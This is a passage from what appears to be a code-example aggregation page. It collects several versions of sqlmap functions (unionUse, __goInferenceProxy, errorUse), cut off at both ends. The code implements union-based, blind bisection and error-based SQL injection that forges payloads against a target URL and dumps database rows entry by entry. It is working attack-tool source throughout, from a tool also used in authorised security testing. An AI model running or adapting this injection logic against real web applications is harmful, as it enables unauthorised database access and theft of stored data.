                        warnMsg = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                elif (not count or int(count) == 0) and (not stopLimit
                                                         or stopLimit == 0):
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)

                    return None

                try:
                    for num in xrange(startLimit, stopLimit):
                        output = __goInferenceFields(expression,
                                                     expressionFields,
                                                     expressionFieldsList,
                                                     payload,
                                                     expected,
                                                     num,
                                                     resumeValue=resumeValue,
                                                     charsetType=charsetType,
                                                     firstChar=firstChar,
                                                     lastChar=lastChar,
                                                     dump=dump)
                        outputs.append(output)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_TABLE and expression.upper(
    ).startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_TABLE[Backend.getIdentifiedDbms()]

    outputs = __goInferenceFields(expression,
                                  expressionFields,
                                  expressionFieldsList,
                                  payload,
                                  expected,
                                  resumeValue=resumeValue,
                                  charsetType=charsetType,
                                  firstChar=firstChar,
                                  lastChar=lastChar,
                                  dump=dump)
    returnValue = ", ".join([output for output in outputs])

    return returnValue
Example #21
0
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = ""

    global reqCount

    if resetCounter:
        reqCount = 0

    if not kb.unionTest:
        unionTest()

    if not kb.unionCount:
        return

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression, unpack)
        expression = unescaper.unescape(expression)

    if ( kb.unionNegative or kb.unionFalseCond ) and not direct:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.MSSQL:
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms == DBMS.MSSQL:
                        stopLimit += startLimit
                elif dump:
                    if conf.limitStart:
                        startLimit = conf.limitStart
                    if conf.limitStop:
                        stopLimit = conf.limitStop

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
                        test = False
                    else:
                        test = True

                if test:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = "the SQL query provided returns "
                            infoMsg += "%d entries" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return

                    for num in xrange(startLimit, stopLimit):
                        if kb.dbms == DBMS.MSSQL:
                            field = expressionFieldsList[0]
                        elif kb.dbms == DBMS.ORACLE:
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = resume(limitedExpr, None)

                        if not output:
                            output = unionUse(limitedExpr, direct=True, unescape=False)

                        if output:
                            value += output
                            parseUnionPage(output, limitedExpr)

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(expression, nullChar=nullChar)
        payload = agent.payload(newValue=query)

        debugMsg = "query: %s" % query
        logger.debug(debugMsg)

        # Perform the request
        resultPage, _ = Request.queryPage(payload, content=True)
        reqCount += 1

        if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(kb.misc.start)
        endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
        value = getUnicode(resultPage[startPosition:endPosition])

        duration = calculateDeltaSeconds(start)

        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return value
Example #22
0
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    count      = None
    origExpr   = expression
    start      = time.time()
    startLimit = 0
    stopLimit  = None
    test       = True
    value      = ""

    global reqCount

    if resetCounter == True:
        reqCount = 0

    if not kb.unionCount:
        unionTest()

    if not kb.unionCount:
        return

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression)
        expression = unescaper.unescape(expression)

    # Confirm the inband SQL injection and get the exact column
    # position only once
    if not isinstance(kb.unionPosition, int):
        __unionPosition(expression)

        # Assure that the above function found the exploitable full inband
        # SQL injection position
        if not isinstance(kb.unionPosition, int):
            __unionPosition(expression, True)

            # Assure that the above function found the exploitable partial
            # inband SQL injection position
            if not isinstance(kb.unionPosition, int):
                return
            else:
                conf.paramNegative = True

    if conf.paramNegative == True and direct == False:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)

        if len(expressionFieldsList) > 1:
            infoMsg  = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are in front of a partial inband sql injection"
            logger.info(infoMsg)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop  = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
                        test = False
                    else:
                        test = True

                if test == True:
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count % expressionFieldsList[0]
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg  = "the SQL query provided returns "
                            infoMsg += "%d entries" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
                        output      = unionUse(limitedExpr, direct=True, unescape=False)

                        if output:
                            value += output

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(expression)
        payload = agent.payload(newValue=query)

        infoMsg = "query: %s" % query
        logger.info(infoMsg)

        # Perform the request
        resultPage = Request.queryPage(payload, content=True)
        reqCount += 1

        if temp.start not in resultPage or temp.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(temp.start)
        endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
        value = str(resultPage[startPosition:endPosition])

        duration = int(time.time() - start)

        infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.info(infoMsg)

    return value
Example #23
0
def unionUse(expression, unpack=True, dump=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    initTechnique(PAYLOAD.TECHNIQUE.UNION)

    global reqCount

    count = None
    origExpr = expression
    startLimit = 0
    stopLimit = None
    test = True
    value = ""
    reqCount = 0
    start = time.time()

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
        origExpr)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
       (dump and (conf.limitStart or conf.limitStop))) and \
       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
       not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
       and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and not any(map(lambda x: x in expression.upper(), ["(CASE", "COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])):

        limitRegExp = re.search(
            queries[Backend.getIdentifiedDbms()].limitregexp.query, expression,
            re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms()
                           in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[
                    Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[
                    Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[
                        Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[
                        Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(
                            limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(
                        queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields,
                                                   "COUNT(*)", 1)

            if re.search(" ORDER BY ", expression, re.I):
                untilOrderChar = countedExpression.index(" ORDER BY ")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)
            count = parseUnionPage(count, countedExpression)

            if not count or not count.isdigit():
                output = __oneShotUnionUse(countedExpression, unpack)

                if output:
                    count = parseUnionPage(output, countedExpression)

            if (not count or (count.isdigit() and int(count) == 0)):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the used SQL query. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            try:
                for num in xrange(startLimit, stopLimit):
                    if Backend.getIdentifiedDbms() in (DBMS.MSSQL,
                                                       DBMS.SYBASE):
                        field = expressionFieldsList[0]
                    elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                        field = expressionFieldsList
                    else:
                        field = None

                    limitedExpr = agent.limitQuery(num, expression, field)
                    output = resume(limitedExpr, None)

                    if not output:
                        output = __oneShotUnionUse(limitedExpr, unpack)

                    if output:
                        value += output

                    if conf.verbose == 1:
                        length = stopLimit - startLimit
                        count = num - startLimit + 1
                        status = '%d/%d entries (%d%s)' % (
                            count, length, round(100.0 * count / length), '%')
                        dataToStdout(
                            "\r[%s] [INFO] retrieved: %s" %
                            (time.strftime("%X"), status), True)

                if conf.verbose == 1:
                    clearConsoleLine(True)

            except KeyboardInterrupt:
                print
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

    if not value:
        value = __oneShotUnionUse(expression, unpack)

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return value
Example #24
0
def __goInferenceProxy(expression, fromUser=False, expected=None):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    query          = agent.prefixQuery(" %s" % temp.inference)
    query          = agent.postfixQuery(query)
    payload        = agent.payload(newValue=query)
    count          = None
    startLimit     = 0
    stopLimit      = None
    outputs        = []
    test           = None
    untilLimitChar = None
    untilOrderChar = None

    output = resume(expression, payload)

    if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
        return output

    if kb.dbmsDetected:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)

        if len(expressionFieldsList) > 1:
            infoMsg  = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are going blind"
            logger.info(infoMsg)

        # If we have been here from SQL query/shell we have to check if
        # the SQL query might return multiple entries and in such case
        # forge the SQL limiting the query output one entry per time
        # NOTE: I assume that only queries that get data from a table
        # can return multiple entries
        if fromUser and " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)

            if limitRegExp:
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop  = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
                        test = "n"
                    else:
                        message  = "can the SQL query provided return "
                        message += "multiple entries? [Y/n] "
                        test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count % expressionFieldsList[0]
                    countedExpression = expression.replace(expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, payload)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            count = __goInference(payload, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            count = int(count)

                            message  = "the SQL query provided can return "
                            message += "up to %d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit\nChoice: "
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                return "Quit"

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg  = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "How many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "Invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "Invalid choice"
                                logger.error(errMsg)

                                return None

                        elif count and not count.isdigit():
                            warnMsg  = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return None

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)

                        output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
                        outputs.append(output)

                    return outputs

        elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
            expression = "%s FROM DUAL" % expression

        outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)

        returnValue = ", ".join([output for output in outputs])

    else:
        returnValue = __goInference(payload, expression)

    return returnValue
Example #25
0
def errorUse(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """

    initTechnique(PAYLOAD.TECHNIQUE.ERROR)

    global reqCount

    count = None
    start = time.time()
    startLimit = 0
    stopLimit = None
    outputs = []
    untilLimitChar = None
    untilOrderChar = None
    reqCount = 0

    if resumeValue:
        output = resume(expression, None)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (
        (dump and (conf.limitStart or conf.limitStop))
        or (
            " FROM " in expression.upper()
            and (
                (Backend.getIdentifiedDbms() not in FROM_TABLE)
                or (
                    Backend.getIdentifiedDbms() in FROM_TABLE
                    and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()])
                )
            )
            and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))
        )
        and not re.search(SQL_SCALAR_REGEX, expression, re.I)
    ):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.isDbms(DBMS.ORACLE):
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart - 1
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(
                expressionFields, queries[Backend.getIdentifiedDbms()].count.query % "*", 1
            )

            if re.search(" ORDER BY ", expression, re.I):
                untilOrderChar = countedExpression.index(" ORDER BY ")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)

            if not count or not count.isdigit():
                _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
                count = __oneShotErrorUse(countedExpression, countedExpressionFields)

            if isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            elif count and not count.isdigit():
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the SQL query provided. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1

            elif not count or int(count) == 0:
                warnMsg = "the SQL query provided does not "
                warnMsg += "return any output"
                logger.warn(warnMsg)

                return outputs

            threadData = getCurrentThreadData()
            threadData.shared.limits = iter(xrange(startLimit, stopLimit))
            numThreads = min(conf.threads, (stopLimit - startLimit))
            threadData.shared.outputs = BigArray()

            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
                kb.suppressResumeInfo = True
                debugMsg = "suppressing possible resume console info because of "
                debugMsg += "large number of rows. It might take too long"
                logger.debug(debugMsg)

            lockNames = ("limits", "outputs")
            for lock in lockNames:
                kb.locks[lock] = threading.Lock()

            try:

                def errorThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.limits.acquire()
                        try:
                            num = threadData.shared.limits.next()
                        except StopIteration:
                            break
                        finally:
                            kb.locks.limits.release()

                        output = __errorFields(
                            expression, expressionFields, expressionFieldsList, expected, num, resumeValue
                        )

                        if not kb.threadContinue:
                            break

                        if output and isinstance(output, list) and len(output) == 1:
                            output = output[0]

                        kb.locks.outputs.acquire()
                        threadData.shared.outputs.append(output)
                        kb.locks.outputs.release()

                runThreads(numThreads, errorThread)

            except KeyboardInterrupt:
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

            finally:
                outputs = threadData.shared.outputs
                kb.suppressResumeInfo = False

    if not outputs:
        outputs = __errorFields(expression, expressionFields, expressionFieldsList)

    if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring):
        outputs = outputs[0]

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return outputs
Example #26
0
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
    """
    This function tests for an inband SQL injection on the target
    url then call its subsidiary function to effectively perform an
    inband SQL injection on the affected url
    """

    count = None
    origExpr = expression
    start = time.time()
    startLimit = 0
    stopLimit = None
    test = True
    value = ""

    global reqCount

    if resetCounter == True:
        reqCount = 0

    if not kb.unionCount:
        unionTest()

    if not kb.unionCount:
        return

    # Prepare expression with delimiters
    if unescape:
        expression = agent.concatQuery(expression)
        expression = unescaper.unescape(expression)

    # Confirm the inband SQL injection and get the exact column
    # position only once
    if not isinstance(kb.unionPosition, int):
        __unionPosition(expression)

        # Assure that the above function found the exploitable full inband
        # SQL injection position
        if not isinstance(kb.unionPosition, int):
            __unionPosition(expression, True)

            # Assure that the above function found the exploitable partial
            # inband SQL injection position
            if not isinstance(kb.unionPosition, int):
                return
            else:
                conf.paramNegative = True

    if conf.paramNegative == True and direct == False:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(
            origExpr)

        if len(expressionFieldsList) > 1:
            infoMsg = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are in front of a partial inband sql injection"
            logger.info(infoMsg)

        # We have to check if the SQL query might return multiple entries
        # and in such case forge the SQL limiting the query output one
        # entry per time
        # NOTE: I assume that only queries that get data from a table can
        # return multiple entries
        if " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression,
                                    re.I)

            if limitRegExp:
                if kb.dbms in ("MySQL", "PostgreSQL"):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(
                            limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ("Oracle", "Microsoft SQL Server"):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ("MySQL", "PostgreSQL"):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(
                            queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith(
